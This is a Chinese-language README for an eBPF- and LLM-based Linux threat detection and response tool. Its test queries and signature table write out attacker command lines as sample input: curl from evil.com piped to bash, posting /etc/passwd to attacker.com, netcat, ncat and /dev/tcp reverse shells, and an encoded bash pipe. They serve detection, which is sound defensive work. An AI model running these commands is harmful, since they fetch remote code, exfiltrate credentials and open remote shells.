fr4nsyz/KernelHarbor
GitHub: fr4nsyz/KernelHarbor
一个从零构建的基于 eBPF 和 LLM 的 Linux 终端检测与响应系统，通过内核事件捕获和 AI 分析实现威胁检测与自动响应。
Stars: 5 | Forks: 2
# KernelHarbor
使用 eBPF 进行 Linux 内核安全监控，结合 AI 驱动的分析与自动响应。
## 概述
KernelHarbor 使用 eBPF 捕获系统事件（execve、open、网络），并通过 AI pipeline 对其进行分析，以实现威胁检测和响应。当检测到恶意行为时，它可以自动终止进程或阻断网络连接。
为了简便起见，下方的演示是在同一台设备上进行的。理想情况下，分析服务端应运行在与运行 agent 不同的独立机器上。
https://github.com/user-attachments/assets/99ef4a91-b9aa-411d-b847-0af310006de9
[备用演示链接](https://youtu.be/noDXemJ9wUM)
## 组件
### Tracers (`cmd/`)
| 组件 | 描述 |
|-----------|-------------|
| `agent/` | 统一的 eBPF tracer（execve + open + openat + connect） |
| `analysis/` | AI 驱动的事件分析 pipeline（gRPC + HTTP） |
### eBPF Programs (`bpf/`)
| 文件 | 描述 |
|------|-------------|
| `execve-tracer.bpf.c` | Hook `sys_enter_execve` |
| `open-tracer.bpf.c` | Hook `sys_enter_open` |
| `openat-tracer.bpf.c` | Hook `sys_enter_openat`，并通过 `bpf_d_path` 解析目录路径 |
| `connect-tracer.bpf.c` | Hook `sys_enter_connect` |
## 快速开始
### 前置条件
```
# 安装 eBPF toolchain (Debian/Ubuntu)
sudo apt install clang llvm libbpf-dev linux-tools-$(uname -r)
# 安装 eBPF toolchain (Fedora/RHEL)
sudo dnf install clang llvm libbpf-devel kernel-headers
# 启动 Elasticsearch
docker run -d --name elasticsearch -p 9200:9200 \
-e "discovery.type=single-node" \
-e "xpack.security.enabled=false" \
docker.elastic.co/elasticsearch/elasticsearch:8.17.4
# 启动 Ollama
ollama serve
ollama pull nomic-embed-text
ollama pull qwen2.5:7b
```
### 构建说明
```
# 构建所有内容（tracers + agent + analysis）
# 自动生成 vmlinux.h 并运行 bpf2go。
make
# 或者构建单个组件
make agent
make analysis
make execve-tracer
make open-tracer
make openat-tracer
# 删除二进制文件、生成的 bpf2go 输出和 vmlinux.h
make clean
```
### 运行说明
```
# 终端 1：启动 analysis 服务（提供 HTTP 和 gRPC）
cd cmd/analysis && ./analysis
# 终端 2：启动统一 agent（需要 sudo）
sudo GRPC_ADDRESS=localhost:9090 ./cmd/agent/agent
# 终端 3：通过 HTTP 查询 analysis
curl -X POST http://localhost:8080/analyze \
-H "Content-Type: application/json" \
-d '{"host.name":"myhost","query":"curl http://evil.com/script.sh | bash"}'
```
## 架构
### 事件流
1. **eBPF Tracers** Hook 内核系统调用（`execve`、`open`、`connect`）
2. **Ring buffer** 将事件传递给用户态 Go 程序
3. **gRPC** 将事件发送至分析服务
4. **Elasticsearch** 存储带有 vector embedding 的事件
5. **异步 workers** 将事件分批并由 Ollama 进行分析
6. **向量搜索** 查找语义相似的历史事件
7. **LLM** 生成安全判定结果
### 响应流
自动响应动作通过两种机制传递给 agent：
- **即时（启发式）** — 当正则表达式启发式在摄入时匹配到已知的恶意特征，会直接在同一 RPC 调用的 `IngestResponse` 中返回一个动作（例如 `KILL_PID`）。agent 会立即执行它 —— 零额外延迟。
- **延迟（AI）** — 在异步 AI 分析完成（1-3秒）后，如果判定结果为恶意，一个动作会被存储在内存中。agent 每 5 秒轮询一次 `FetchActions(hostname)` 并执行任何待处理的动作。
| 触发器 | 延迟 | 动作示例 |
|---------|---------|----------------|
| 正则启发式匹配 | 同一 RPC 响应 | `KILL_PID` |
| AI 判定为 "恶意" | ~5-8秒（批处理 + 轮询） | `KILL_PID`, `BLOCK_IP` |
agent 以 root 身份运行，并使用操作系统原语执行动作：使用 `SIGKILL` 终止进程，使用 `iptables` 阻断 IP。
### gRPC 服务
分析服务在端口 9090 上暴露 gRPC API（可配置）：
| 方法 | 描述 |
|--------|-------------|
| `Ingest` | 将事件发送至分析 pipeline，返回启发式动作 |
| `Analyze` | 查询特定事件的 AI 分析结果 |
| `FetchActions` | 轮询待处理的 AI 衍生动作（例如 `KILL_PID`, `BLOCK_IP`） |
### 行为 Embedding
事件会被转换为行为摘要以进行向量搜索：
| 原始命令 | 行为摘要 |
|-------------|-----------------|
| `curl x \| bash` | `execve remote_code_execution image:curl` |
| `wget y \| sh` | `execve remote_code_execution image:wget` |
| `echo 'YmFzaCAtYyAiY3VybCBodHRwOi8vZXZpbC5jb20i" \| base64 -d \| bash` | `execve encoded_command image:base64` |
这使得系统能够找到**语义相似的攻击**，而不仅仅是关键词匹配。
## API Endpoints
| Endpoint | 方法 | 描述 |
|----------|--------|-------------|
| `/health` | GET | 健康检查 |
| `/ingest` | POST | 摄入事件 |
| `/ingest/batch` | POST | 摄入批量事件 |
| `/analyze` | POST | 查询 AI 分析 |
| `/actions/:hostname` | GET | 获取主机的待处理动作（由 agent 轮询使用） |
### 分析示例
```
curl -X POST http://localhost:8080/analyze \
-H "Content-Type: application/json" \
-d '{
"host.name": "myhost",
"query": "curl -s http://evil.com/payload.sh | bash"
}'
```
响应：
```
{
"verdict": "malicious",
"confidence": 0.95,
"summary": "curl is being used to pipe a remote script into bash, a common malware delivery pattern..."
}
```
## 环境变量
### 分析服务
| 变量 | 默认值 | 描述 |
|----------|---------|-------------|
| `ES_ADDRESSES` | `http://localhost:9200` | Elasticsearch 地址 |
| `ES_INDEX` | `kb-events` | 事件索引 |
| `OLLAMA_ADDRESS` | `http://localhost:11434` | Ollama |
| `OLLAMA_MODEL` | `qwen2.5:1.5b` | 分析模型 |
| `OLLAMA_EMBED_MODEL` | `nomic-embed-text` | Embedding 模型 |
| `PROTOCOL` | `both` | HTTP 协议：`http`、`grpc` 或 `both` |
| `GRPC_ADDRESS` | `:9090` | gRPC 服务器地址 |
| `HTTP_ADDRESS` | `:8080` | HTTP 服务器地址 |
### Agent (Tracer)
| 变量 | 描述 |
|----------|-------------|
| `GRPC_ADDRESS` | 用于发送事件的 gRPC 服务器地址（例如 `localhost:9090`） |
## 测试
```
# 测试良性
curl -X POST http://localhost:8080/analyze \
-d '{"host.name":"test","query":"ls -la /home/user"}'
# 测试可疑
curl -X POST http://localhost:8080/analyze \
-d '{"host.name":"test","query":"curl http://evil.com/payload.sh | bash"}'
# 测试 LOLBin
curl -X POST http://localhost:8080/analyze \
-d '{"host.name":"test","query":"python3 -c \"import pty; pty.spawn('/bin/bash')\""}'
```
## 项目结构
```
KernelHarbor/
├── bpf/ # eBPF programs (C)
│ ├── execve-tracer.bpf.c
│ ├── open-tracer.bpf.c
│ ├── openat-tracer.bpf.c
│ ├── connect-tracer.bpf.c
│ ├── process.h # Shared process_info struct
│ └── open.h # O_* flag constants
├── cmd/
│ ├── agent/ # Unified tracer (execve + open + openat + connect)
│ │ ├── bench_test.go # Synthetic benchmarks
│ │ └── bench_ebpf_test.go # eBPF benchmarks (gated)
│ ├── execve-tracer/ # Standalone execve tracer
│ ├── open-tracer/ # Standalone open tracer
│ ├── openat-tracer/ # Standalone openat tracer
│ └── analysis/ # AI analysis pipeline (gRPC + HTTP)
│ ├── bench_test.go # Analysis benchmarks + accuracy test
│ ├── bench_dataset_test.go # Labeled benchmark dataset
│ └── bench_report.go # Markdown report formatter
├── proto/ # Protocol Buffer definitions
│ └── agent.proto
├── scripts/
│ └── bench.sh # Benchmark runner
├── plan.md # Original design document
└── README.md # This file
```
## 基准测试
### 运行测试
```
# 运行所有 benchmarks（仅为合成的，不需要外部服务）
./scripts/bench.sh
# 仅运行 analysis benchmarks
cd cmd/analysis && go test -bench=. -benchmem -count=3 ./...
# 仅运行 agent 合成 benchmarks
cd cmd/agent && go test -bench=. -benchmem -count=3 ./...
# 运行 eBPF benchmarks（需要 root + Linux kernel）
sudo sh -c 'cd cmd/agent && go test -tags=ebpf -bench=BenchmarkEbpf -benchmem ./...'
# 使用外部服务运行（Elasticsearch + Ollama）
ES_ADDRESSES=http://localhost:9200 OLLAMA_ADDRESS=http://localhost:11434 \
go test -bench='Benchmark(ES|Ollama)' -benchmem ./...
```
### 检测准确率
基于包含 190 个事件的标注数据集（101 个良性，49 个可疑，40 个恶意）进行测量：
注意：由于未在大量样本上进行测试，实际准确率可能有所不同。
| 指标 | 数值 |
|--------|-------|
| 准确率 (Accuracy) | 100.00% |
| 精确率 (Precision) | 100.00% |
| 召回率 (Recall) | 100.00% |
| F1 分数 (F1 Score) | 100.00% |
| 误报率 (False Positive Rate) | 0.00% |
#### 启发式特征
检测器使用 38 个已编译的正则表达式特征，涵盖：
| 类别 | 特征 | 示例 |
|----------|----------|----------|
| Curl 数据外发 | 管道、重定向、`-d`、`-T`、`-k`、`-s http://`、`--post-data`、`--no-check-certificate`、`--connect-timeout http://` | `curl -d @/etc/passwd http://attacker.com/` |
| Wget 数据外发 | `-O`、`-A`、管道、重定向、`--post-data`、`--no-check-certificate` | `wget --no-check-certificate https://evil.com/` |
| Shell 执行 | `bash -c`、`sh -c`、`/bin/bash -c`、`/bin/sh -c` | `bash -c 'cat /etc/shadow'` |
| Shell 交互 | `bash -i`、`sh -i` | `bash -i >& /dev/tcp/...` |
| Netcat | `-l`、`-v`、`-e`、`-u`、`-z`、`-w`、`-p`、`nc -e` | `nc attacker.com 4444 -e /bin/bash` |
| Ncat | 任何 `ncat` 调用 | `ncat --ssl attacker.com 4444 -e /bin/sh` |
| Socat | 任何 `socat` 调用 | `socat TCP-LISTEN:4444 EXEC:/bin/sh` |
| 反弹 Shell | `/dev/tcp`、`/dev/udp` | `exec 5<>/dev/tcp/attacker.com/80` |
| 编码 | `base64 -d` | `echo YmFz... | base64 -d \| bash` |
| 脚本 | `powershell`、`python.*socket/subprocess/pty/os.*`、`perl -e`、`ruby -e`、`php -r` | `python3 -c 'import pty; pty.spawn("/bin/bash")'` |
| 扩展名 | `.sh`、`.bash`、`.ps1`（排除良性上下文） | `/tmp/malware.sh` |
### 启发式特征延迟
单特征 `hasSuspiciousPattern()` 延迟（预编译 regex，0 次分配）：
| 特征 | ns/op | 分配次数 |
|---------|-------|--------|
| `curl \| bash` (curl_pipe) | ~900 | 0 |
| `curl -s http://` (curl_silent_http) | ~3,000 | 0 |
| `curl -d @file` (curl_data_upload) | ~1,200 | 0 |
| `wget -O- \| sh` (wget_output) | ~970 | 0 |
| `wget --post-data` | ~6,400 | 0 |
| `bash -c 'cmd'` (bash_minus_c) | ~1,250 | 0 |
| `sh -c 'cmd'` (sh_minus_c) | ~1,100 | 0 |
| `bash -i` (bash_interactive) | ~4,100 | 0 |
| `nc -lvp` (nc_listen) | ~3,400 | 0 |
| `nc host port -e` (nc_exec_post) | ~5,100 | 0 |
| `ncat host port` (ncat_connect) | ~3,100 | 0 |
| `socat TCP-LISTEN` (socat_exec) | ~5,700 | 0 |
| `base64 -d` (base64_decode) | ~5,400 | 0 |
| `powershell` | ~9,300 | 0 |
| `python -c socket` (python_socket) | ~6,400 | 0 |
| `python -c pty` (python_pty) | ~10,400 | 0 |
| `perl -e` (perl_eval) | ~4,200 | 0 |
| `ruby -e` (ruby_eval) | ~4,400 | 0 |
| `php -r` (php_eval) | ~4,800 | 0 |
| `/dev/tcp` (dev_tcp) | ~1,650 | 0 |
| `/bin/bash -c` (shell_minus_c) | ~1,900 | 0 |
| 良性 (ls, curl, git, python, wget) | ~6,100–13,100 | 0 |
### 事件处理吞吐量
| 基准测试 | ns/op | B/op | 分配次数/op |
|-----------|-------|------|-----------|
| `ToBehaviorSummary()` | ~5,200 | 357 | 10 |
| `ToSearchText()` | ~815 | 359 | 10 |
| `hasSuspiciousPattern()` (平均) | ~4,600 | 0 | 0 |
| 事件序列化 | ~5,500 | 715 | 20 |
### gRPC 分析延迟（进程内）
| 百分位 | 延迟 |
|------------|---------|
| p50 | ~440µs |
| p95 | ~810µs |
| p99 | ~1.5ms |
### Agent 合成基准测试
| 基准测试 | ns/op | B/op | 分配次数/op |
|-----------|-------|------|-----------|
| Execve 事件解析 | ~33,000 | 3,120 | 2 |
| Open 事件解析 | ~4,100 | 336 | 2 |
| Connect 事件解析 | ~1,300 | 120 | 3 |
| Event → protobuf | ~86 | 24 | 1 |
| Event → JSON | ~1,630 | 480 | 3 |
| Ring buffer channel 发送 | ~23 | 0 | 0 |
### eBPF 基准测试（真实内核，`//go:build ebpf`）
| 基准测试 | 描述 |
|-----------|-------------|
| `BenchmarkEbpfCPUOverhead` | 挂载的 eBPF 程序的 CPU 开销 |
| `BenchmarkEbpfEventDropRate | 负载下的 Ring buffer 事件丢失率 |
| `BenchmarkEbpfMemoryOverhead` | 4 个 eBPF tracer 的内存开销 |
### 外部服务基准测试（由环境变量控制）
| 基准测试 | 环境变量 | 描述 |
|-----------|---------|-------------|
| `BenchmarkESIndexing` | `ES_ADDRESSES` | Elasticsearch 批量索引吞吐量 |
| `BenchmarkOllamaEmbedding` | `OLLAMA_ADDRESS` | 单次事件的 embedding 延迟 |
| `BenchmarkOllamaGeneration` | `OLLAMA_ADDRESS` | LLM 分析生成延迟 |
| `BenchmarkGRPCSendLatency` | `GRPC_ADDRESS` | Agent→服务器往返延迟 |
## CI/CD 限制
GitHub Actions runner **不**支持 eBPF。详情请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
## License
MIT
标签：AI风险缓解, AMSI绕过, Beacon Object File, EDR, EVTX分析, Go, Linux内核安全, LLM, Python工具, Ruby工具, Unmanaged PE, 威胁检测, 日志审计, 脆弱性评估, 自动响应